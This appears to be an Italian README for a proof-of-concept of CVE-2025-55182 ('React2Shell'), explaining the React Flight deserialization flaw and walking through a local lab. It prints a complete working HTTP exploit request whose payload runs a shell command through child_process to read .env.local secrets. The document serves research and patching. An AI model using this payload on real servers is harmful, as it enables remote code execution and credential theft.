
Questo repository fornisce una proof-of-concept per CVE-2025-55182 (React2Shell), una vulnerabilità di esecuzione remota di codice nei React Server Components. Dimostra come funziona l'exploit, inclusi il payload e l'impatto.
CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce React Server Components. Questa falla consente ad attaccanti non autenticati di eseguire codice arbitrario su server vulnerabili sfruttando un problema di deserializzazione non sicura nel protocollo Flight di React.
Dato il suo punteggio CVSS di 10.0, questa vulnerabilità è estremamente grave e richiede attenzione immediata. In questo articolo ti guiderò attraverso i dettagli della vulnerabilità, il meccanismo dell'exploit e fornirò una dimostrazione proof-of-concept (PoC). Iniziamo.
Le seguenti versioni di React Server Components e dei pacchetti correlati sono vulnerabili:
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Pacchetti interessati:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js è una delle librerie JavaScript più popolari per la creazione di interfacce utente, soprattutto nel contesto delle single-page application (SPA). Consente agli sviluppatori di creare esperienze utente dinamiche e interattive.
React Server Components (RSC) è una funzionalità sperimentale che consente di renderizzare alcune parti di un'app React sul server, piuttosto che sul client. Questo riduce la quantità di JavaScript necessaria lato client e migliora le prestazioni, soprattutto nelle applicazioni di grandi dimensioni.
Tuttavia, RSC introduce nuove complessità, in particolare nel modo in cui i dati vengono scambiati tra server e client. CVE-2025-55182 sfrutta uno di questi aspetti legati al protocollo Flight, utilizzato in RSC per trasferire i dati tra server e client.
CVE-2025-55182 deriva da una deserializzazione non sicura nel protocollo Flight di React. La deserializzazione è il processo di conversione di dati serializzati (solitamente JSON) in un oggetto in memoria. React utilizza questo processo per gestire i dati scambiati tra server e client durante il rendering lato server.
Tuttavia, l'implementazione della deserializzazione di React non è sicura. In particolare, React utilizza la notazione a parentesi quadre per accedere alle proprietà degli oggetti (ad es., moduleExports[metadata[2]]), il che consente agli attaccanti di manipolare la catena dei prototipi degli oggetti JavaScript. Ciò comporta una prototype pollution e apre la possibilità di modificare le proprietà degli oggetti in modi inaspettati, consentendo agli attaccanti di sfruttare la logica di deserializzazione.
La causa principale della vulnerabilità risiede nel modo in cui React gestisce i payload del protocollo Flight. L'uso della notazione a parentesi quadre per l'accesso alle proprietà consente agli attaccanti di attraversare la catena dei prototipi, dando loro accesso a proprietà che normalmente non dovrebbero essere accessibili, come constructor. Manipolando questa proprietà, gli attaccanti possono accedere al costruttore globale Function ed eseguire codice JavaScript arbitrario sul server.
L'exploit funziona inviando un payload appositamente costruito al server, che manipola la logica di deserializzazione del protocollo Flight. Combinando prototype pollution e deserializzazione non sicura, un attaccante può ottenere il controllo del server ed eseguire codice arbitrario.
I componenti chiave dell'attacco includono:
Prototype Pollution: l'attaccante manipola la catena dei prototipi di un oggetto per iniettare nuove proprietà, inclusa la proprietà constructor e Function.
Esecuzione del payload: una volta che l'attaccante ha accesso al costruttore Function, può eseguire codice JavaScript arbitrario, come leggere file o eseguire comandi di sistema.
Per testare l'exploit, avrai bisogno di un ambiente React vulnerabile. Ecco come configurarlo:
npx [email protected] poc-react2shell cd poc-react2shell
In alternativa, puoi utilizzare un repository GitHub preconfigurato che contiene già l'ambiente vulnerabile.
Crea un file di ambiente di test
Nella directory principale del progetto, crea un file .env.local contenente dati sensibili, come chiavi API. L'attaccante prenderà di mira questo file nel PoC:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Avvia il server di sviluppo
Esegui il server di sviluppo:
npm run dev
Il server vulnerabile dovrebbe ora essere in esecuzione su http://localhost:3000.
Una volta che l'ambiente è pronto, puoi inviare il payload dannoso per attivare l'exploit. È qui che Burp Suite o qualsiasi altro strumento proxy HTTP torna utile.
Invia il payload dannoso
Apri Burp Suite e vai alla scheda Repeater. Imposta l'URL di destinazione su http://localhost:3000/ e invia il seguente payload dannoso:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Analizza la risposta
Dopo aver inviato la richiesta, se l'exploit ha successo, il server risponderà con il contenuto del file .env.local (o di qualsiasi dato sensibile nelle variabili d'ambiente). Questo conferma l'accesso dell'attaccante ai dati riservati.

Host: specifica il server di destinazione (localhost:3000).
User-Agent: identifica il client che effettua la richiesta. La stringa è tipicamente di un browser, ma qui può essere modificata per offuscare l'attacco.
Next-Action: probabilmente parte dell'elaborazione di Next.js, potrebbe confondere il server o interagire con il processo di deserializzazione.
X-Nextjs-Request-Id: ID di richiesta univoco per il tracciamento e il debug in Next.js.
Content-Type: dati multipart/form-data, utilizzati per dati strutturati come JSON o caricamenti di file.
Content-Length: indica la lunghezza del corpo della richiesta.
Campo 0: contiene il payload che innesca la prototype pollution. Modifica il prototipo dell'oggetto, aggiunge una nuova proprietà then e include un oggetto _response dannoso. _prefix esegue un comando child_process per leggere il file .env.local.
Campo 1: fa riferimento al Campo 0 per propagare l'attacco.
Campo 2: array vuoto, per garantire che la struttura del payload rimanga intatta.
La vulnerabilità CVE-2025-55182 consente agli attaccanti di:
Eseguire codice arbitrario sul server.
Leggere file sensibili, come chiavi API e file di configurazione.
Stabilire reverse shell, ottenendo potenzialmente il controllo completo del server.
Esfiltrare dati sensibili dal server.
CVE-2025-55182 (React2Shell) è una vulnerabilità critica in React Server Components che consente ad attaccanti non autenticati di eseguire codice arbitrario su server vulnerabili. Sfruttando la deserializzazione non sicura e la prototype pollution, gli attaccanti possono ottenere il controllo completo del server, leggere dati sensibili ed eseguire comandi dannosi.
Se stai utilizzando React Server Components, è fondamentale aggiornare alle ultime versioni corrette per mitigare questa vulnerabilità. Aderire alle migliori pratiche di sicurezza, come la validazione degli input e una corretta gestione della deserializzazione, è essenziale per prevenire vulnerabilità simili.
Questa prova di concetto è intesa esclusivamente a scopo educativo e di ricerca. Non tentare di sfruttare o testare vulnerabilità su alcun sistema senza il consenso esplicito e scritto del proprietario del sistema. Il test non autorizzato può essere illegale e non etico. Aderisci sempre a pratiche legali e responsabili nel campo della cybersecurity.